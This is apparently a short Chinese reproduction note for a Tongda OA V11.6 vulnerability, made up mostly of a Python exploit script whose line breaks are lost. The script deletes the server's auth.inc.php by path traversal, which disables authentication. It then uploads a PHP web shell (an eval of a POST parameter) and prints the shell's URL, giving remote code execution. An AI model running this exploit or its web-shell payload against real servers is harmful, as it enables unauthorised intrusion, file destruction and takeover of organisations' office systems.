http://www.kxdw.com/soft/23114.html
漏洞影响版本:通达 OA V11.6
复现文章地址:https://blog.csdn.net/God_XiangYu/article/details/108091470
复现前记得备份:webroot\inc 下将auth.inc.php备份一下
import requeststarget="http://192.168.159.137:8080/"payload="<?php eval($_POST['agan']);?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....")url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page:print("[-]Failed to deleted auth.inc.php")exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('agan.php', payload)}requests.post(url=url,files=files)url=target+"/_agan.php"page=requests.get(url=url).textif 'No input file specified.' not in page:print("[+]Filed Uploaded Successfully")print("[+]URL:",url)else:print("[-]Failed to upload file")
应该属于任意文件删除+有限制的文件上传,导致RCE
